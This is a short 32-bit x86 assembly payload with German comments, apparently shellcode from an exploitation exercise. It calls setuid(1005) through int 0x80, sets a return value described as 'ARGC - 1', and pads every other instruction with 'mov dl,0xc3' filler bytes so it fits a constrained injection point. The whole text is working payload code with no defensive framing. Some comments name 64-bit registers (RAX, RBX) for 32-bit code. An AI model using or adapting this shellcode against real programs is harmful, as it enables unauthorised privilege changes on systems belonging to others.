BITS 32 mov al,0x17 ; (2 Bytes) Nummer des Syscalls in RAX (23 == 0x17) mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation) mov bl,0xed ; (2 Bytes) UID in RBX, 1005 == 0x03ed (low byte) mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation) mov bh,0x03 ; (2 Bytes) UID in RBX, 1005 == 0x03ed (high byte) mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation) int 0x80 ; (2 Bytes) Syscall: setuid(1005) mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation) xor eax,eax ; (2 Bytes) EAX == 0 mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation) mov al,0x5 ; (2 Bytes) ARGC - 1 in EAX nop ; (1 Byte) Füllbyte (No Operation) ret ; (1 Byte) Return (wird vom Programm ersetzt)